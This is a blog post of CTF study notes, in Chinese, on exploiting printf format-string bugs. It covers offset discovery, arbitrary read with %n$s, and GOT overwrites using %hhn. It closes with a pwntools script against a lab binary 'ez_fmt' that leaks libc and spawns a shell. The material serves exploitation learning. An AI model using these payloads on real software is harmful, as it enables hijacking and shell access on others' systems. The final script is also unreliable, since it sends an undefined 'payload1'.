# 参考博客


[参考博客]: https://blog.csdn.net/ysy___ysy/article/details/135700140
[参考博客]: https://blog.csdn.net/2402_83422357/article/details/139180404
戳此切大佬博客
https://blog.csdn.net/Morphy_Amo/article/details/122215773
https://blog.csdn.net/song_lee/article/details/103936833
!!!!https://www.yuque.com/hxfqg9/bin/aedgn4#WbamY
https://bbs.kanxue.com/thread-268850.htm
https://blog.csdn.net/mcmuyanga/article/details/113242453
https://www.cnblogs.com/hetianlab/p/15002398.html
https://www.cnblogs.com/VxerLee/p/16398761.html# 任意地址内存覆盖任意写

# 格式化字符串

# 漏洞

当 printf () 的参数含有格式化字符串时就有可能泄露内存相关的东西,比如 printf (buf)
利用它可以进行任意读或任意写

# 任意读

首先我们要确定我们输入的内容对应 printf 的第几个
方法
输入 aaaa% p% p% p% p% p% p% p% p% p% p 看程序对应输出的是第几个

64 位程序是存在寄存器上 rdi,rsi,rdx,rcx,r8,r9, 然后是栈上,具体第几个用 gdb 调

如输出第五个参数可以写为%4$s,第六个为%5$s,需要输出第n个参数就是%(n-1)$(格式化控制符)。
因此我们的payload可以简化为"\x01\x80\x04\x08%5$s"

# 任意改


如果想要改整个地址

a
%n  一次性写入4个字节
%hn  一次性写入2个字节
%hhn  一次性写入1个字节
#思路:向 printf_got 中 写入 system_plt
# 我们把  printf_got 最低位字节 覆盖成 0x60  一字节 写入 %hhn
# 我们把  printf_got 最低位字节+1字节 覆盖成 0x83  一字节 写入 %hhn
# 我们把  printf_got 最低位字节+2字节 覆盖成 0x04  一字节 写入 %hhn
# 我们把  printf_got 最低位字节+3字节 覆盖成 0x08  一字节 写入 %hhn
payload=p32(printf_got)      #0x60          # 偏移  为 7
payload+=p32(printf_got+1)   #0x83          # 偏移  为 8
payload+=p32(printf_got+2)   #0x04          # 偏移  为 9
payload+=p32(printf_got+3)   #0x08          # 偏移  为 10
payload+="%"+str(0x60-0x4*4)+"c%7$hhn"        #0x60          # 偏移  为 7
payload+="%"+str(0x83-0x60)+"c%8$hhn"         #0x83          # 偏移  为 8
payload+="%"+str(0x104-0x83)+"c%9$hhn"        #0x04          # 偏移  为 9  #由于是hhn所以会被截断,只留后两位
payload+="%"+str(0x8-0x4)+"c%10$hhn"          #0x08          # 偏移  为 10

有一个还挺方便的函数 payload = fmtstr_payload (偏移,{原地址:目的地址}) 但是好像只能是 32 位

# wp

from pwn import *
from LibcSearcher import *
context(log_level = 'debug', os = 'linux', arch = 'amd64') 
p = process('./ez_fmt')
#p = remote('127.0.0.1',46587)
elf = ELF("./ez_fmt")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
pop_rdi_ret=0x4012d3
payload = b"aaaa" +b"%7$s" + p64(printf_got)
'''
gdb.attach(p)
pause()
'''
p.sendline(payload)
p.recvuntil('aaaa')
printf_addr = u64(p.recv(6).ljust(8, b'\x00'))
print("printf_real_addr ---> ", hex(printf_addr))
libc=ELF('./libc.so.6')       
libc_base=printf_addr-libc.sym['printf']      #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_base+libc.search(b"/bin/sh\x00").__next__()#'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
sys_addr=libc_base+libc.sym['system']
print("sys_addr:{}".format(hex(sys_addr)))
print("binsh_addr:{}".format(hex(bin_sh_addr)))
#payload2= b'%' + str(system_real_addr) + b'c' + b'%7$n' + p64(printf_got)
'''
gdb.attach(p)
pause()
'''
p.sendline(payload1)
p.sendline(b'/bin/sh\0')
p.interactive()
更新于 阅读次数

请我吃[冰淇淋]~( ̄▽ ̄)~*

Jexy-Kynner 微信支付

微信支付